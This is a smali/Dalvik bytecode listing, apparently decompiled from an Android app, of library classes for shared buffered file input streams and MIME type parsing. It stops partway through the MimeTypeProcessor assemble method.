.method public declared-synchronized close()V
.registers 2
00000000 monitor-enter p0
:2
00000002 iget v0, p0, SharedFileInputStream$SharedFile->cnt:I
00000006 if-lez v0, :24
:A
0000000A iget v0, p0, SharedFileInputStream$SharedFile->cnt:I
0000000E add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000012 iput v0, p0, SharedFileInputStream$SharedFile->cnt:I
00000016 if-gtz v0, :24
:1A
0000001A iget-object v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
0000001E invoke-virtual RandomAccessFile->close()V, v0
:24
00000024 monitor-exit p0
00000026 return-void
:28
00000028 move-exception v0
0000002A monitor-exit p0
0000002C throw v0
.catchall {:2 .. :24} :28
.end method
.method protected finalize()V
.registers 2
00000000 invoke-super Object->finalize()V, p0
00000006 iget-object v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
0000000A invoke-virtual RandomAccessFile->close()V, v0
00000010 return-void
.end method
.method public declared-synchronized forceClose()V
.registers 2
00000000 monitor-enter p0
:2
00000002 iget v0, p0, SharedFileInputStream$SharedFile->cnt:I
00000006 if-lez v0, :1E
:A
0000000A const/4 v0, 0x0
0000000C iput v0, p0, SharedFileInputStream$SharedFile->cnt:I
00000010 iget-object v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
00000014 invoke-virtual RandomAccessFile->close()V, v0
:1A
0000001A monitor-exit p0
0000001C return-void
:1E
0000001E iget-object v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
00000022 invoke-virtual RandomAccessFile->close()V, v0
:28
00000028 goto :1A
:2A
0000002A move-exception v0
0000002C goto :1A
:2E
0000002E move-exception v0
00000030 monitor-exit p0
00000032 throw v0
.catchall {:2 .. :1A} :2E
.catch IOException {:1E .. :28} :2A
.catchall {:1E .. :28} :2E
.end method
.method public open()RandomAccessFile
.registers 2
00000000 iget v0, p0, SharedFileInputStream$SharedFile->cnt:I
00000004 add-int/lit8 v0, v0, 0x1
00000008 iput v0, p0, SharedFileInputStream$SharedFile->cnt:I
0000000C iget-object v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
00000010 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public SharedFileInputStream
.super BufferedInputStream
.source ""
.implements SharedInputStream
.field private static defaultBufferSize:I
.field protected bufpos:J
.field protected bufsize:I
.field protected datalen:J
.field protected in:RandomAccessFile
.field private master:Z
.field private sf:SharedFileInputStream$SharedFile
.field protected start:J
.method static constructor <clinit>()V
.registers 1
00000000 const/16 v0, 0x800
00000004 sput v0, SharedFileInputStream->defaultBufferSize:I
00000008 return-void
.end method
.method public constructor <init>(File)V
.registers 3
00000000 sget v0, SharedFileInputStream->defaultBufferSize:I
00000004 invoke-direct SharedFileInputStream-><init>(File, I)V, p0, p1, v0
0000000A return-void
.end method
.method public constructor <init>(File, I)V
.registers 5
00000000 const/4 v0, 0x0
00000002 invoke-direct BufferedInputStream-><init>(InputStream)V, p0, v0
00000008 const-wide/16 v0, 0x0
0000000C iput-wide v0, p0, SharedFileInputStream->start:J
00000010 const/4 v0, 0x1
00000012 iput-boolean v0, p0, SharedFileInputStream->master:Z
00000016 if-gtz p2, :2A
:1A
0000001A new-instance v0, IllegalArgumentException
0000001E const-string v1, "Buffer size <= 0"
00000022 invoke-direct IllegalArgumentException-><init>(String)V, v0, v1
00000028 throw v0
:2A
0000002A new-instance v0, SharedFileInputStream$SharedFile
0000002E invoke-direct SharedFileInputStream$SharedFile-><init>(File)V, v0, p1
00000034 invoke-direct SharedFileInputStream->init(SharedFileInputStream$SharedFile, I)V, p0, v0, p2
0000003A return-void
.end method
.method public constructor <init>(String)V
.registers 3
00000000 sget v0, SharedFileInputStream->defaultBufferSize:I
00000004 invoke-direct SharedFileInputStream-><init>(String, I)V, p0, p1, v0
0000000A return-void
.end method
.method public constructor <init>(String, I)V
.registers 5
00000000 const/4 v0, 0x0
00000002 invoke-direct BufferedInputStream-><init>(InputStream)V, p0, v0
00000008 const-wide/16 v0, 0x0
0000000C iput-wide v0, p0, SharedFileInputStream->start:J
00000010 const/4 v0, 0x1
00000012 iput-boolean v0, p0, SharedFileInputStream->master:Z
00000016 if-gtz p2, :2A
:1A
0000001A new-instance v0, IllegalArgumentException
0000001E const-string v1, "Buffer size <= 0"
00000022 invoke-direct IllegalArgumentException-><init>(String)V, v0, v1
00000028 throw v0
:2A
0000002A new-instance v0, SharedFileInputStream$SharedFile
0000002E invoke-direct SharedFileInputStream$SharedFile-><init>(String)V, v0, p1
00000034 invoke-direct SharedFileInputStream->init(SharedFileInputStream$SharedFile, I)V, p0, v0, p2
0000003A return-void
.end method
.method private constructor <init>(SharedFileInputStream$SharedFile, J, J, I)V
.registers 9
00000000 const/4 v0, 0x0
00000002 invoke-direct BufferedInputStream-><init>(InputStream)V, p0, v0
00000008 const-wide/16 v0, 0x0
0000000C iput-wide v0, p0, SharedFileInputStream->start:J
00000010 const/4 v0, 0x1
00000012 iput-boolean v0, p0, SharedFileInputStream->master:Z
00000016 const/4 v0, 0x0
00000018 iput-boolean v0, p0, SharedFileInputStream->master:Z
0000001C iput-object p1, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
00000020 invoke-virtual SharedFileInputStream$SharedFile->open()RandomAccessFile, p1
00000026 move-result-object v0
00000028 iput-object v0, p0, SharedFileInputStream->in:RandomAccessFile
0000002C iput-wide p2, p0, SharedFileInputStream->start:J
00000030 iput-wide p2, p0, SharedFileInputStream->bufpos:J
00000034 iput-wide p4, p0, SharedFileInputStream->datalen:J
00000038 iput p6, p0, SharedFileInputStream->bufsize:I
0000003C new-array v0, p6, [B
00000040 iput-object v0, p0, SharedFileInputStream->buf:[B
00000044 return-void
.end method
.method private ensureOpen()V
.registers 3
00000000 iget-object v0, p0, SharedFileInputStream->in:RandomAccessFile
00000004 if-nez v0, :18
:8
00000008 new-instance v0, IOException
0000000C const-string v1, "Stream closed"
00000010 invoke-direct IOException-><init>(String)V, v0, v1
00000016 throw v0
:18
00000018 return-void
.end method
.method private fill()V
.registers 7
00000000 const/4 v4, 0x0
00000002 iget v0, p0, SharedFileInputStream->markpos:I
00000006 if-gez v0, :A8
:A
0000000A iput v4, p0, SharedFileInputStream->pos:I
0000000E iget-wide v0, p0, SharedFileInputStream->bufpos:J
00000012 iget v2, p0, SharedFileInputStream->count:I
00000016 int-to-long v2, v2
00000018 add-long/2addr v0, v2
0000001A iput-wide v0, p0, SharedFileInputStream->bufpos:J
:1E
0000001E iget v0, p0, SharedFileInputStream->pos:I
00000022 iput v0, p0, SharedFileInputStream->count:I
00000026 iget-object v0, p0, SharedFileInputStream->in:RandomAccessFile
0000002A iget-wide v1, p0, SharedFileInputStream->bufpos:J
0000002E iget v3, p0, SharedFileInputStream->pos:I
00000032 int-to-long v3, v3
00000034 add-long/2addr v1, v3
00000036 invoke-virtual RandomAccessFile->seek(J)V, v0, v1, v2
0000003C iget-object v0, p0, SharedFileInputStream->buf:[B
00000040 array-length v0, v0
00000042 iget v1, p0, SharedFileInputStream->pos:I
00000046 sub-int/2addr v0, v1
00000048 iget-wide v1, p0, SharedFileInputStream->bufpos:J
0000004C iget-wide v3, p0, SharedFileInputStream->start:J
00000050 sub-long/2addr v1, v3
00000052 iget v3, p0, SharedFileInputStream->pos:I
00000056 int-to-long v3, v3
00000058 add-long/2addr v1, v3
0000005A int-to-long v3, v0
0000005C add-long/2addr v1, v3
0000005E iget-wide v3, p0, SharedFileInputStream->datalen:J
00000062 cmp-long v1, v1, v3
00000066 if-lez v1, :84
:6A
0000006A iget-wide v0, p0, SharedFileInputStream->datalen:J
0000006E iget-wide v2, p0, SharedFileInputStream->bufpos:J
00000072 iget-wide v4, p0, SharedFileInputStream->start:J
00000076 sub-long/2addr v2, v4
00000078 iget v4, p0, SharedFileInputStream->pos:I
0000007C int-to-long v4, v4
0000007E add-long/2addr v2, v4
00000080 sub-long/2addr v0, v2
00000082 long-to-int v0, v0
:84
00000084 iget-object v1, p0, SharedFileInputStream->in:RandomAccessFile
00000088 iget-object v2, p0, SharedFileInputStream->buf:[B
0000008C iget v3, p0, SharedFileInputStream->pos:I
00000090 invoke-virtual RandomAccessFile->read([B, I, I)I, v1, v2, v3, v0
00000096 move-result v0
00000098 if-lez v0, :A6
:9C
0000009C iget v1, p0, SharedFileInputStream->pos:I
000000A0 add-int/2addr v0, v1
000000A2 iput v0, p0, SharedFileInputStream->count:I
:A6
000000A6 return-void
:A8
000000A8 iget v0, p0, SharedFileInputStream->pos:I
000000AC iget-object v1, p0, SharedFileInputStream->buf:[B
000000B0 array-length v1, v1
000000B2 if-lt v0, v1, :1E
:B6
000000B6 iget v0, p0, SharedFileInputStream->markpos:I
000000BA if-lez v0, :F4
:BE
000000BE iget v0, p0, SharedFileInputStream->pos:I
000000C2 iget v1, p0, SharedFileInputStream->markpos:I
000000C6 sub-int/2addr v0, v1
000000C8 iget-object v1, p0, SharedFileInputStream->buf:[B
000000CC iget v2, p0, SharedFileInputStream->markpos:I
000000D0 iget-object v3, p0, SharedFileInputStream->buf:[B
000000D4 invoke-static System->arraycopy(Object, I, Object, I, I)V, v1, v2, v3, v4, v0
000000DA iput v0, p0, SharedFileInputStream->pos:I
000000DE iget-wide v0, p0, SharedFileInputStream->bufpos:J
000000E2 iget v2, p0, SharedFileInputStream->markpos:I
000000E6 int-to-long v2, v2
000000E8 add-long/2addr v0, v2
000000EA iput-wide v0, p0, SharedFileInputStream->bufpos:J
000000EE iput v4, p0, SharedFileInputStream->markpos:I
000000F2 goto :1E
:F4
000000F4 iget-object v0, p0, SharedFileInputStream->buf:[B
000000F8 array-length v0, v0
000000FA iget v1, p0, SharedFileInputStream->marklimit:I
000000FE if-lt v0, v1, :11E
:102
00000102 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000104 iput v0, p0, SharedFileInputStream->markpos:I
00000108 iput v4, p0, SharedFileInputStream->pos:I
0000010C iget-wide v0, p0, SharedFileInputStream->bufpos:J
00000110 iget v2, p0, SharedFileInputStream->count:I
00000114 int-to-long v2, v2
00000116 add-long/2addr v0, v2
00000118 iput-wide v0, p0, SharedFileInputStream->bufpos:J
0000011C goto :1E
:11E
0000011E iget v0, p0, SharedFileInputStream->pos:I
00000122 mul-int/lit8 v0, v0, 0x2
00000126 iget v1, p0, SharedFileInputStream->marklimit:I
0000012A if-le v0, v1, :132
:12E
0000012E iget v0, p0, SharedFileInputStream->marklimit:I
:132
00000132 new-array v0, v0, [B
00000136 iget-object v1, p0, SharedFileInputStream->buf:[B
0000013A iget v2, p0, SharedFileInputStream->pos:I
0000013E invoke-static System->arraycopy(Object, I, Object, I, I)V, v1, v4, v0, v4, v2
00000144 iput-object v0, p0, SharedFileInputStream->buf:[B
00000148 goto/16 :1E
.end method
.method private in_available()I
.registers 7
00000000 iget-wide v0, p0, SharedFileInputStream->start:J
00000004 iget-wide v2, p0, SharedFileInputStream->datalen:J
00000008 add-long/2addr v0, v2
0000000A iget-wide v2, p0, SharedFileInputStream->bufpos:J
0000000E iget v4, p0, SharedFileInputStream->count:I
00000012 int-to-long v4, v4
00000014 add-long/2addr v2, v4
00000016 sub-long/2addr v0, v2
00000018 long-to-int v0, v0
0000001A return v0
.end method
.method private init(SharedFileInputStream$SharedFile, I)V
.registers 5
00000000 iput-object p1, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
00000004 invoke-virtual SharedFileInputStream$SharedFile->open()RandomAccessFile, p1
0000000A move-result-object v0
0000000C iput-object v0, p0, SharedFileInputStream->in:RandomAccessFile
00000010 const-wide/16 v0, 0x0
00000014 iput-wide v0, p0, SharedFileInputStream->start:J
00000018 iget-object v0, p0, SharedFileInputStream->in:RandomAccessFile
0000001C invoke-virtual RandomAccessFile->length()J, v0
00000022 move-result-wide v0
00000024 iput-wide v0, p0, SharedFileInputStream->datalen:J
00000028 iput p2, p0, SharedFileInputStream->bufsize:I
0000002C new-array v0, p2, [B
00000030 iput-object v0, p0, SharedFileInputStream->buf:[B
00000034 return-void
.end method
.method private read1([B, I, I)I
.registers 6
00000000 iget v0, p0, SharedFileInputStream->count:I
00000004 iget v1, p0, SharedFileInputStream->pos:I
00000008 sub-int/2addr v0, v1
0000000A if-gtz v0, :26
:E
0000000E invoke-direct SharedFileInputStream->fill()V, p0
00000014 iget v0, p0, SharedFileInputStream->count:I
00000018 iget v1, p0, SharedFileInputStream->pos:I
0000001C sub-int/2addr v0, v1
0000001E if-gtz v0, :26
:22
00000022 const/4 p3, 0xFFFFFFFFFFFFFFFF
:24
00000024 return p3
:26
00000026 if-ge v0, p3, :2C
:2A
0000002A move p3, v0
:2C
0000002C iget-object v0, p0, SharedFileInputStream->buf:[B
00000030 iget v1, p0, SharedFileInputStream->pos:I
00000034 invoke-static System->arraycopy(Object, I, Object, I, I)V, v0, v1, p1, p2, p3
0000003A iget v0, p0, SharedFileInputStream->pos:I
0000003E add-int/2addr v0, p3
00000040 iput v0, p0, SharedFileInputStream->pos:I
00000044 goto :24
.end method
.method public declared-synchronized available()I
.registers 3
00000000 monitor-enter p0
:2
00000002 invoke-direct SharedFileInputStream->ensureOpen()V, p0
00000008 iget v0, p0, SharedFileInputStream->count:I
0000000C iget v1, p0, SharedFileInputStream->pos:I
00000010 sub-int/2addr v0, v1
00000012 invoke-direct SharedFileInputStream->in_available()I, p0
:18
00000018 move-result v1
0000001A add-int/2addr v0, v1
0000001C monitor-exit p0
0000001E return v0
:20
00000020 move-exception v0
00000022 monitor-exit p0
00000024 throw v0
.catchall {:2 .. :18} :20
.end method
.method public close()V
.registers 3
00000000 const/4 v1, 0x0
00000002 iget-object v0, p0, SharedFileInputStream->in:RandomAccessFile
00000006 if-nez v0, :C
:A
0000000A return-void
:C
0000000C iget-boolean v0, p0, SharedFileInputStream->master:Z
00000010 if-eqz v0, :2C
:14
00000014 iget-object v0, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
00000018 invoke-virtual SharedFileInputStream$SharedFile->forceClose()V, v0
:1E
0000001E iput-object v1, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
00000022 iput-object v1, p0, SharedFileInputStream->in:RandomAccessFile
00000026 iput-object v1, p0, SharedFileInputStream->buf:[B
0000002A goto :A
:2C
0000002C iget-object v0, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
00000030 invoke-virtual SharedFileInputStream$SharedFile->close()V, v0
:36
00000036 goto :1E
:38
00000038 move-exception v0
0000003A iput-object v1, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
0000003E iput-object v1, p0, SharedFileInputStream->in:RandomAccessFile
00000042 iput-object v1, p0, SharedFileInputStream->buf:[B
00000046 throw v0
.catchall {:C .. :1E} :38
.catchall {:2C .. :36} :38
.end method
.method protected finalize()V
.registers 1
00000000 invoke-super Object->finalize()V, p0
00000006 invoke-virtual SharedFileInputStream->close()V, p0
0000000C return-void
.end method
.method public getPosition()J
.registers 5
00000000 iget-object v0, p0, SharedFileInputStream->in:RandomAccessFile
00000004 if-nez v0, :18
:8
00000008 new-instance v0, RuntimeException
0000000C const-string v1, "Stream closed"
00000010 invoke-direct RuntimeException-><init>(String)V, v0, v1
00000016 throw v0
:18
00000018 iget-wide v0, p0, SharedFileInputStream->bufpos:J
0000001C iget v2, p0, SharedFileInputStream->pos:I
00000020 int-to-long v2, v2
00000022 add-long/2addr v0, v2
00000024 iget-wide v2, p0, SharedFileInputStream->start:J
00000028 sub-long/2addr v0, v2
0000002A return-wide v0
.end method
.method public declared-synchronized mark(I)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput p1, p0, SharedFileInputStream->marklimit:I
00000006 iget v0, p0, SharedFileInputStream->pos:I
0000000A iput v0, p0, SharedFileInputStream->markpos:I
:E
0000000E monitor-exit p0
00000010 return-void
:12
00000012 move-exception v0
00000014 monitor-exit p0
00000016 throw v0
.catchall {:2 .. :E} :12
.end method
.method public markSupported()Z
.registers 2
00000000 const/4 v0, 0x1
00000002 return v0
.end method
.method public newStream(J, J)InputStream
.registers 12
00000000 iget-object v0, p0, SharedFileInputStream->in:RandomAccessFile
00000004 if-nez v0, :18
:8
00000008 new-instance v0, RuntimeException
0000000C const-string v1, "Stream closed"
00000010 invoke-direct RuntimeException-><init>(String)V, v0, v1
00000016 throw v0
:18
00000018 const-wide/16 v0, 0x0
0000001C cmp-long v0, p1, v0
00000020 if-gez v0, :34
:24
00000024 new-instance v0, IllegalArgumentException
00000028 const-string v1, "start < 0"
0000002C invoke-direct IllegalArgumentException-><init>(String)V, v0, v1
00000032 throw v0
:34
00000034 const-wide/16 v0, 0xFFFFFFFFFFFFFFFF
00000038 cmp-long v0, p3, v0
0000003C if-nez v0, :44
:40
00000040 iget-wide p3, p0, SharedFileInputStream->datalen:J
:44
00000044 new-instance v0, SharedFileInputStream
00000048 iget-object v1, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
0000004C iget-wide v2, p0, SharedFileInputStream->start:J
00000050 long-to-int v4, p1
00000052 int-to-long v4, v4
00000054 add-long/2addr v2, v4
00000056 sub-long v4, p3, p1
0000005A long-to-int v4, v4
0000005C int-to-long v4, v4
0000005E iget v6, p0, SharedFileInputStream->bufsize:I
00000062 invoke-direct/range SharedFileInputStream-><init>(SharedFileInputStream$SharedFile, J, J, I)V, v0 .. v6
00000068 return-object v0
.end method
.method public declared-synchronized read()I
.registers 4
00000000 monitor-enter p0
:2
00000002 invoke-direct SharedFileInputStream->ensureOpen()V, p0
00000008 iget v0, p0, SharedFileInputStream->pos:I
0000000C iget v1, p0, SharedFileInputStream->count:I
00000010 if-lt v0, v1, :2C
:14
00000014 invoke-direct SharedFileInputStream->fill()V, p0
0000001A iget v0, p0, SharedFileInputStream->pos:I
0000001E iget v1, p0, SharedFileInputStream->count:I
:22
00000022 if-lt v0, v1, :2C
:26
00000026 const/4 v0, 0xFFFFFFFFFFFFFFFF
:28
00000028 monitor-exit p0
0000002A return v0
:2C
0000002C iget-object v0, p0, SharedFileInputStream->buf:[B
00000030 iget v1, p0, SharedFileInputStream->pos:I
00000034 add-int/lit8 v2, v1, 0x1
00000038 iput v2, p0, SharedFileInputStream->pos:I
0000003C aget-byte v0, v0, v1
:40
00000040 and-int/lit16 v0, v0, 0xFF
00000044 goto :28
:46
00000046 move-exception v0
00000048 monitor-exit p0
0000004A throw v0
.catchall {:2 .. :22} :46
.catchall {:2C .. :40} :46
.end method
.method public declared-synchronized read([B, I, I)I
.registers 7
00000000 monitor-enter p0
:2
00000002 invoke-direct SharedFileInputStream->ensureOpen()V, p0
00000008 or-int v0, p2, p3
0000000C add-int v1, p2, p3
00000010 or-int/2addr v0, v1
00000012 array-length v1, p1
00000014 add-int v2, p2, p3
00000018 sub-int/2addr v1, v2
0000001A or-int/2addr v0, v1
0000001C if-gez v0, :32
:20
00000020 new-instance v0, IndexOutOfBoundsException
00000024 invoke-direct IndexOutOfBoundsException-><init>()V, v0
0000002A throw v0
:2C
0000002C move-exception v0
0000002E monitor-exit p0
00000030 throw v0
:32
00000032 if-nez p3, :3C
:36
00000036 const/4 v0, 0x0
:38
00000038 monitor-exit p0
0000003A return v0
:3C
0000003C invoke-direct SharedFileInputStream->read1([B, I, I)I, p0, p1, p2, p3
00000042 move-result v0
00000044 if-lez v0, :38
:48
00000048 if-ge v0, p3, :38
:4C
0000004C add-int v1, p2, v0
00000050 sub-int v2, p3, v0
00000054 invoke-direct SharedFileInputStream->read1([B, I, I)I, p0, p1, v1, v2
:5A
0000005A move-result v1
0000005C if-lez v1, :38
:60
00000060 add-int/2addr v0, v1
00000062 goto :48
.catchall {:2 .. :2C} :2C
.catchall {:3C .. :5A} :2C
.end method
.method public declared-synchronized reset()V
.registers 3
00000000 monitor-enter p0
:2
00000002 invoke-direct SharedFileInputStream->ensureOpen()V, p0
00000008 iget v0, p0, SharedFileInputStream->markpos:I
0000000C if-gez v0, :26
:10
00000010 new-instance v0, IOException
00000014 const-string v1, "Resetting to invalid mark"
00000018 invoke-direct IOException-><init>(String)V, v0, v1
0000001E throw v0
:20
00000020 move-exception v0
00000022 monitor-exit p0
00000024 throw v0
:26
00000026 iget v0, p0, SharedFileInputStream->markpos:I
0000002A iput v0, p0, SharedFileInputStream->pos:I
:2E
0000002E monitor-exit p0
00000030 return-void
.catchall {:2 .. :20} :20
.catchall {:26 .. :2E} :20
.end method
.method public declared-synchronized skip(J)J
.registers 8
00000000 const-wide/16 v0, 0x0
00000004 monitor-enter p0
:6
00000006 invoke-direct SharedFileInputStream->ensureOpen()V, p0
:C
0000000C cmp-long v2, p1, v0
00000010 if-gtz v2, :18
:14
00000014 monitor-exit p0
00000016 return-wide v0
:18
00000018 iget v2, p0, SharedFileInputStream->count:I
0000001C iget v3, p0, SharedFileInputStream->pos:I
00000020 sub-int/2addr v2, v3
00000022 int-to-long v2, v2
00000024 cmp-long v4, v2, v0
00000028 if-gtz v4, :46
:2C
0000002C invoke-direct SharedFileInputStream->fill()V, p0
00000032 iget v2, p0, SharedFileInputStream->count:I
00000036 iget v3, p0, SharedFileInputStream->pos:I
0000003A sub-int/2addr v2, v3
0000003C int-to-long v2, v2
0000003E cmp-long v4, v2, v0
00000042 if-lez v4, :14
:46
00000046 move-wide v0, v2
00000048 cmp-long v2, v0, p1
0000004C if-gez v2, :66
:50
00000050 iget v2, p0, SharedFileInputStream->pos:I
00000054 int-to-long v2, v2
00000056 add-long/2addr v2, v0
00000058 long-to-int v2, v2
0000005A iput v2, p0, SharedFileInputStream->pos:I
:5E
0000005E goto :14
:60
00000060 move-exception v0
00000062 monitor-exit p0
00000064 throw v0
:66
00000066 move-wide v0, p1
00000068 goto :50
.catchall {:6 .. :C} :60
.catchall {:18 .. :5E} :60
.end method
#--------------------------------------------------------------------------------
.class final MimeTypeProcessor$MimeType
.super Object
.source ""
.implements Serializable
.implements Cloneable
.field private static final serialVersionUID:J = 0xA31BA7D0705C1214L
.field private parameters:Hashtable
.field private primaryType:String
.field private subType:String
.field private systemParameters:Hashtable
.method constructor <init>()V
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v0, p0, MimeTypeProcessor$MimeType->primaryType:String
0000000C iput-object v0, p0, MimeTypeProcessor$MimeType->subType:String
00000010 iput-object v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000014 iput-object v0, p0, MimeTypeProcessor$MimeType->systemParameters:Hashtable
00000018 return-void
.end method
.method constructor <init>(String, String)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, MimeTypeProcessor$MimeType->primaryType:String
0000000A iput-object p2, p0, MimeTypeProcessor$MimeType->subType:String
0000000E new-instance v0, Hashtable
00000012 invoke-direct Hashtable-><init>()V, v0
00000018 iput-object v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
0000001C new-instance v0, Hashtable
00000020 invoke-direct Hashtable-><init>()V, v0
00000026 iput-object v0, p0, MimeTypeProcessor$MimeType->systemParameters:Hashtable
0000002A return-void
.end method
.method static synthetic access$0(MimeTypeProcessor$MimeType)Hashtable
.registers 2
00000000 iget-object v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000004 return-object v0
.end method
.method static synthetic access$1(MimeTypeProcessor$MimeType, String)V
.registers 2
00000000 iput-object p1, p0, MimeTypeProcessor$MimeType->primaryType:String
00000004 return-void
.end method
.method static synthetic access$2(MimeTypeProcessor$MimeType, String)V
.registers 2
00000000 iput-object p1, p0, MimeTypeProcessor$MimeType->subType:String
00000004 return-void
.end method
.method static synthetic access$3(MimeTypeProcessor$MimeType, Hashtable)V
.registers 2
00000000 iput-object p1, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000004 return-void
.end method
.method static synthetic access$4(MimeTypeProcessor$MimeType, Hashtable)V
.registers 2
00000000 iput-object p1, p0, MimeTypeProcessor$MimeType->systemParameters:Hashtable
00000004 return-void
.end method
.method addParameter(String, String)V
.registers 5
00000000 const/16 v1, 0x22
00000004 if-nez p2, :A
:8
00000008 return-void
:A
0000000A const/4 v0, 0x0
0000000C invoke-virtual String->charAt(I)C, p2, v0
00000012 move-result v0
00000014 if-ne v0, v1, :46
:18
00000018 invoke-virtual String->length()I, p2
0000001E move-result v0
00000020 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000024 invoke-virtual String->charAt(I)C, p2, v0
0000002A move-result v0
0000002C if-ne v0, v1, :46
:30
00000030 const/4 v0, 0x1
00000032 invoke-virtual String->length()I, p2
00000038 move-result v1
0000003A add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFE
0000003E invoke-virtual String->substring(I, I)String, p2, v0, v1
00000044 move-result-object p2
:46
00000046 invoke-virtual String->length()I, p2
0000004C move-result v0
0000004E if-eqz v0, :8
:52
00000052 iget-object v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000056 invoke-virtual Hashtable->put(Object, Object)Object, v0, p1, p2
0000005C goto :8
.end method
.method addSystemParameter(String, Object)V
.registers 4
00000000 iget-object v0, p0, MimeTypeProcessor$MimeType->systemParameters:Hashtable
00000004 invoke-virtual Hashtable->put(Object, Object)Object, v0, p1, p2
0000000A return-void
.end method
.method public clone()Object
.registers 4
00000000 new-instance v1, MimeTypeProcessor$MimeType
00000004 iget-object v0, p0, MimeTypeProcessor$MimeType->primaryType:String
00000008 iget-object v2, p0, MimeTypeProcessor$MimeType->subType:String
0000000C invoke-direct MimeTypeProcessor$MimeType-><init>(String, String)V, v1, v0, v2
00000012 iget-object v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000016 invoke-virtual Hashtable->clone()Object, v0
0000001C move-result-object v0
0000001E check-cast v0, Hashtable
00000022 iput-object v0, v1, MimeTypeProcessor$MimeType->parameters:Hashtable
00000026 iget-object v0, p0, MimeTypeProcessor$MimeType->systemParameters:Hashtable
0000002A invoke-virtual Hashtable->clone()Object, v0
00000030 move-result-object v0
00000032 check-cast v0, Hashtable
00000036 iput-object v0, v1, MimeTypeProcessor$MimeType->systemParameters:Hashtable
0000003A return-object v1
.end method
.method equals(MimeTypeProcessor$MimeType)Z
.registers 4
00000000 if-nez p1, :8
:4
00000004 const/4 v0, 0x0
:6
00000006 return v0
:8
00000008 invoke-virtual MimeTypeProcessor$MimeType->getFullType()String, p0
0000000E move-result-object v0
00000010 invoke-virtual MimeTypeProcessor$MimeType->getFullType()String, p1
00000016 move-result-object v1
00000018 invoke-virtual String->equals(Object)Z, v0, v1
0000001E move-result v0
00000020 goto :6
.end method
.method getFullType()String
.registers 3
00000000 new-instance v0, StringBuilder
00000004 iget-object v1, p0, MimeTypeProcessor$MimeType->primaryType:String
00000008 invoke-static String->valueOf(Object)String, v1
0000000E move-result-object v1
00000010 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000016 const-string v1, "/"
0000001A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000020 move-result-object v0
00000022 iget-object v1, p0, MimeTypeProcessor$MimeType->subType:String
00000026 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000002C move-result-object v0
0000002E invoke-virtual StringBuilder->toString()String, v0
00000034 move-result-object v0
00000036 return-object v0
.end method
.method getParameter(String)String
.registers 3
00000000 iget-object v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000004 invoke-virtual Hashtable->get(Object)Object, v0, p1
0000000A move-result-object v0
0000000C check-cast v0, String
00000010 return-object v0
.end method
.method getPrimaryType()String
.registers 2
00000000 iget-object v0, p0, MimeTypeProcessor$MimeType->primaryType:String
00000004 return-object v0
.end method
.method getSubType()String
.registers 2
00000000 iget-object v0, p0, MimeTypeProcessor$MimeType->subType:String
00000004 return-object v0
.end method
.method getSystemParameter(String)Object
.registers 3
00000000 iget-object v0, p0, MimeTypeProcessor$MimeType->systemParameters:Hashtable
00000004 invoke-virtual Hashtable->get(Object)Object, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method removeParameter(String)V
.registers 3
00000000 iget-object v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000004 invoke-virtual Hashtable->remove(Object)Object, v0, p1
0000000A return-void
.end method
#--------------------------------------------------------------------------------
.class final MimeTypeProcessor$StringPosition
.super Object
.source ""
.field i:I
.method private constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput v0, p0, MimeTypeProcessor$StringPosition->i:I
0000000C return-void
.end method
.method synthetic constructor <init>(MimeTypeProcessor$StringPosition)V
.registers 2
00000000 invoke-direct MimeTypeProcessor$StringPosition-><init>()V, p0
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class final MimeTypeProcessor
.super Object
.source ""
.field private static instance:MimeTypeProcessor
.method private constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method static assemble(MimeTypeProcessor$MimeType)String
.registers 6
00000000 new-instance v2, StringBuilder
00000004 invoke-direct StringBuilder-><init>()V, v2
0000000A invoke-virtual MimeTypeProcessor$MimeType->getFullType()String, p0
00000010 move-result-object v0
00000012 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
00000018 invoke-static MimeTypeProcessor$MimeType->access$0(MimeTypeProcessor$MimeType)Hashtable, p0
0000001E move-result-object v0
00000020 invoke-virtual Hashtable->keys()Enumeration, v0
00000026 move-result-object v3
:28
00000028 invoke-interface Enumeration->hasMoreElements()Z, v3
0000002E move-result v0
00000030 if-nez v0, :3E
:34
00000034 invoke-virtual StringBuilder->toString()String, v2
0000003A move-result-object v0
0000003C return-object v0
:3E
0000003E invoke-interface Enumeration->nextElement()Object, v3
00000044 move-result-object v0
00000046 check-cast v0, String
